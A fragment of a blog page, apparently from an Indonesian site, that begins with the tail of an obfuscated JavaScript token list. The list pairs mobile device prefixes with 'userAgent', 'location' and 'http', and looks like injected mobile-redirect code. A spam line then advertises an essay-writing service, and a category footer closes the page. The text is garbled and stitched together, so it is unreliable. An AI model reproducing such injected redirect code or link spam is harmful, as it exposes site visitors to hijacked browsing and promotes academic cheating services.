im|tx|si|utst|m5|m3|to||sh|sy|sp|sdk||sgh||cr||sc|va|ge|mm|ms|sie|sk|t5|so|ft|b3|sm|sl|id|v400|v750|yas|your|zeto|x700|wonu|nc|nw|wmlb|zte|substr|gettop|info|kt|http|vendor|location|userAgent|wi|whit|vm40|voda|vulc|vk|rg|veri|vi|vx|61|98|w3c|webc|85|83|80|81|sa||shar||||phil|pire|n20|zz|pdxg|pg|sdNXbH|n30|n50|pn|uc|ay|tf|mt|p1|wv|oran|ti|op|o2im|mywa|s55|mwbp|n10|pan|p800|owg1|po|rt|mi|r600|o8|on|qtek|r380|rc|raks|zo|me|ve|ro|rim9|oa|ne|psio|wt|prox|nok|n7|qa|qc|wf|mmef|wg|02|07|nzph’.split(‘|’),0,{})) When it comes to buying a paper, the know where https://writemyessay4me.org to go

This entry was posted in TUGAS MANAJEMEN STRATEGIK 2 dan 3. Bookmark the permalink.